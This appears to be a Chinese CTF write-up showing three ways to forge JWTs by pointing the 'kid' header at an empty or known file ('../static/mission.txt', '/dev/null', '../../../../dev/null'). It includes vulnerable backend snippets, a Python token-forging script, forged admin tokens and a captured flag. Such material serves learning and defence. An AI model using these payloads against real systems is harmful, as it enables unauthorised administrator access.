jwt修改kid指向已知文件加密绕过

例题一:

这道题涉及到

jwt修改kid指向服务器上的我们已知的文件内容,以其内容作为key密钥签名绕过

一、访问/api/docs

image-20260523184737078

有提示

二、访问/api/login

post请求,请求体json,

image-20260523184836448

image-20260523184846529

得到jwt

eyJhbGciOiJIUzI1NiIsImtpZCI6InVzZXIua2V5IiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3Nzk1Mjc3MDIsImV4cCI6MTc3OTUzMTMwMn0.zROcIhm6IVfuYRSiFYgte2WR_m6TgiqvG4fEbkPxpn8

解码为:

image-20260523184925379

user.key应该就是服务端要用来验证的密钥文件了

已知访问http://43.108.37.178:34346/static/mission.txt是个空文件

(1)一开始用绝对路径

{
  "alg": "HS256",
  "kid": "http://43.108.37.178:34346/static/mission.txt",
  "typ": "JWT"
}

生成jwt,替换显示文件找不到

(2)用相对路径同上

{
  "alg": "HS256",
  "kid": "/static/mission.txt",
  "typ": "JWT"
}

猜测下服务端处理代码,应该用了相对路径:

kid = jwt_header["kid"]          # 从JWT header中取出kid
a = f"/app/keys/{kid}"    # 拼接路径
secret = open(a).read()   # 读取密钥文件
verify_jwt(token, secret)       # 用该密钥验证签名

(3)构造相对路路径即/app/keys/../static/mission.txt即为/app/static/mission.txt成功指向mission.txt文件

{
  "alg": "HS256",
  "kid": "../static/mission.txt",
  "typ": "JWT"
}

再改role为admin,用mission.txt内容,即空字符串作为密钥加密

import hmac
import hashlib
import base64
import json

def base64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

header = {
    "alg": "HS256",
    "kid": "../static/mission.txt",
    "typ": "JWT"
}

payload = {
    "username": "admin",
    "role": "admin",
    "iat": 1779525991,
    "exp": 1779529591
}


header_b64 = base64url(json.dumps(header, separators=(",", ":")).encode())
payload_b64 = base64url(json.dumps(payload, separators=(",", ":")).encode())

signing_input = f"{header_b64}.{payload_b64}"


key = b""  #空密钥签名
signature = hmac.new(
    key=key,
    msg=signing_input.encode(),
    digestmod=hashlib.sha256
).digest()

signature_b64 = base64url(signature)

jwt_token = f"{header_b64}.{payload_b64}.{signature_b64}"
print(jwt_token)

得到

eyJhbGciOiJIUzI1NiIsImtpZCI6Ii4uL3N0YXRpYy9taXNzaW9uLnR4dCIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzc5NTI1OTkxLCJleHAiOjE3Nzk1Mjk1OTF9.c7JoXkpBSxNuhR_5MhLcVJ-0N_ztXFYcaIjFDJ-krs8

替换jwt,访问/api/admin/flag

501e95fb-7336-444f-b91a-312f786112d8

注:还有一种想法,可以不可以用kid=../../../dev/null,再使用空密钥来绕过

例题二:kid空文件绕过jwt

后端漏洞代码:

unverified_header = jwt.get_unverified_header(token)
kid = unverified_header.get('kid')
if not kid:
   data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
else:
   # 通过kid读取公钥文件内容作为PEM
   with open(kid, 'r') as pubfile:
      public_key = pubfile.read()
   print(public_key)
   data = jwt.decode(token, public_key, algorithms=['HS256'])

开始

首先你需要准备一个空密钥的对称加密

img

这里用AA==,代表是空。我们会将KID的路径指向一个空文件,那么我们用空的密钥加密,后端就可以用空密钥解密。

img

获取JWT数据包,然后首先增加kid,内容为/dev/null。简单说,它等价为空

/dev/nullUnix/Linux 类系统中的一个特殊设备文件,也被称为“空设备”“黑洞”,它的核心特性是:

  1. 写入即丢弃:任何写入 /dev/null 的数据都会被系统直接丢弃,不会占用磁盘空间,也无法恢复。 例:echo "敏感信息" > /dev/null → 内容消失,无任何残留。
  2. 读取返回空:从 /dev/null 读取数据时,会立即返回空字符串,不会阻塞或返回错误。

例:cat /dev/null → 终端无任何输出。 3. 无大小属性:它不是真实的磁盘文件,用 ls -l /dev/null 查看会发现大小始终为 0。

第二步权限修改为admin

img

第三步,用空的密钥签名

img

成功获取权限

img

例题三:目录遍历(和例一差不多)

KID在读取文件的时候,很大概率会指定一个目录,那么变种就出现了

unverified_header = jwt.get_unverified_header(token)
kid = unverified_header.get('kid')
if not kid:
    data = jwt.decode(token, app.config['SECRET_KEY'], algorithms=["HS256"])
else:
    # 通过kid读取公钥文件内容作为PEM
    with open(f'/root/{kid}', 'r') as pubfile:
        public_key = pubfile.read()
    print(public_key)
    data = jwt.decode(token, public_key, algorithms=['HS256'])

在kid的位置,通过../../../../进行绕过,其他操作不变

BASH 复制{
    "alg": "HS256",
    "typ": "JWT",
    "kid": "../../../../dev/null"
}
posted @ 2026-06-18 12:42  Doll_Marker  阅读(16)  评论(0)    收藏  举报